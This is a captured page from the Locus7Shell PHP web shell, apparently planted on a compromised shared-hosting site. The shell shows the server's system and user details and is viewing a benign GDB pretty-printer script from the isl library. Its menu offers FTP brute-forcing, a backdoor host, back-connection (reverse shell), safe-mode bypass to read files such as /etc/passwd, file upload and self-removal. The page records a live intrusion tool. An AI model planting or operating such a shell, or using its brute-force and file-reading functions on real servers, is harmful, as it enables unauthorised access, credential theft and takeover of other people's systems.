Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/isl-0.24/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     libisl-gdb.py (2.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import gdb
import re

# GDB Pretty Printers for most isl objects
class IslObjectPrinter:
    """Print an isl object"""
    def __init__ (self, val, type):
        self.val = val
        self.type = type

    def to_string (self):
        # Cast val to a void pointer to stop gdb using this pretty
        # printer for the pointer which would lead to an infinite loop.
        void_ptr = gdb.lookup_type('void').pointer()
        value = str(self.val.cast(void_ptr))
        printer = gdb.parse_and_eval("isl_printer_to_str(isl_"
                         + str(self.type)
                         + "_get_ctx(" + value + "))")
        printer = gdb.parse_and_eval("isl_printer_print_"
                         + str(self.type) + "("
                         + str(printer) + ", "
                         + value + ")")
        string = gdb.parse_and_eval("(char*)isl_printer_get_str("
                        + str(printer) + ")")
        gdb.parse_and_eval("isl_printer_free(" + str(printer) + ")")
        return string

    def display_hint (self):
        return 'string'

class IslIntPrinter:
    """Print an isl_int """
    def __init__ (self, val):
        self.val = val

    def to_string (self):
        # Cast val to a void pointer to stop gdb using this pretty
        # printer for the pointer which would lead to an infinite loop.
        void_ptr = gdb.lookup_type('void').pointer()
        value = str(self.val.cast(void_ptr))

        context = gdb.parse_and_eval("isl_ctx_alloc()")
        printer = gdb.parse_and_eval("isl_printer_to_str("
                         + str(context) + ")")
        printer = gdb.parse_and_eval("isl_printer_print_isl_int("
                         + str(printer) + ", "
                         + value + ")")
        string = gdb.parse_and_eval("(char*)isl_printer_get_str("
                        + str(printer) + ")")
        gdb.parse_and_eval("isl_printer_free(" + str(printer) + ")")
        gdb.parse_and_eval("isl_ctx_free(" + str(context) + ")")
        return string

    def display_hint (self):
        return 'string'

class IslPrintCommand (gdb.Command):
    """Print an isl value."""
    def __init__ (self):
        super (IslPrintCommand, self).__init__ ("islprint",
                            gdb.COMMAND_OBSCURE)
    def invoke (self, arg, from_tty):
        arg = gdb.parse_and_eval(arg);
        printer = str_lookup_function(arg)

        if printer == None:
            print("No isl printer for this type")
            return

        print(printer.to_string())

IslPrintCommand()

def str_lookup_function (val):
    if val.type.code != gdb.TYPE_CODE_PTR:
        if str(val.type) == "isl_int":
            return IslIntPrinter(val)
        else:
            return None

    lookup_tag = val.type.target()
    regex = re.compile ("^isl_(.*)$")

    if lookup_tag == None:
        return None

    m = regex.match (str(lookup_tag))

    if m:
        # Those types of printers defined in isl.
        if m.group(1) in ["basic_set", "set", "union_set", "basic_map",
                  "map", "union_map", "qpolynomial",
                  "pw_qpolynomial", "pw_qpolynomial_fold",
                  "union_pw_qpolynomial",
                  "union_pw_qpolynomial_fold"]:
            return IslObjectPrinter(val, m.group(1))
    return None

# Do not register the pretty printer.
# gdb.current_objfile().pretty_printers.append(str_lookup_function)

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0056 ]--